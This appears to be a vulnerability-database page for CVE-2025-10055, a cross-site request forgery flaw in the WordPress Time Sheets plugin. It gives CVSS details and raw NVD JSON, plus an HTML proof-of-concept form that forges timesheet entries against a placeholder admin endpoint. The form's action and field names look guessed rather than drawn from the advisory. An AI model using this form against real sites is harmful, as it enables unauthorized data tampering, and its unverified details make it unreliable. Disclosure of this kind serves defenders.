Security Vulnerability Report
中文
CVE-2025-10055 CVSS 4.3 MEDIUM

CVE-2025-10055

Published: 2025-12-05 06:16:05
Last Modified: 2026-04-15 00:35:42

Description

The Time Sheets plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.1.3. This is due to missing or incorrect nonce validation on several endpoints. This makes it possible for unauthenticated attackers to perform a variety of actions via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Time Sheets plugin <= 2.1.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-10055 - Time Sheets Plugin WordPress --> <!DOCTYPE html> <html> <head> <title>CSRF Attack PoC - CVE-2025-10055</title> </head> <body> <h1>CSRF Attack PoC for WordPress Time Sheets Plugin</h1> <p>Click the button below to trigger the CSRF attack:</p> <!-- Form to add/modify timesheet entry --> <form id="csrfForm" action="http://target-site.com/wp-admin/admin-post.php" method="POST"> <input type="hidden" name="action" value="timesheet_save_entry"> <input type="hidden" name="user_id" value="1"> <input type="hidden" name="hours" value="8"> <input type="hidden" name="date" value="2025-01-01"> <input type="hidden" name="description" value="Malicious CSRF Entry"> <button type="submit">Execute CSRF Attack</button> </form> <!-- Auto-submit script --> <script> // Uncomment to auto-submit // document.getElementById('csrfForm').submit(); </script> <h2>Attack Description:</h2> <ul> <li>This PoC exploits missing CSRF nonce validation in Time Sheets plugin</li> <li>Requires authenticated WordPress admin to click/submit the form</li> <li>Can be used to manipulate timesheet data without proper authorization</li> </ul> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10055", "sourceIdentifier": "[email protected]", "published": "2025-12-05T06:16:05.040", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Time Sheets plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.1.3. This is due to missing or incorrect nonce validation on several endpoints. This makes it possible for unauthenticated attackers to perform a variety of actions via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://wordpress.org/plugins/time-sheets/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6d8b57de-d02c-40c0-abdb-ff490bcf429e?source=cve", "source": "[email protected]"}]}}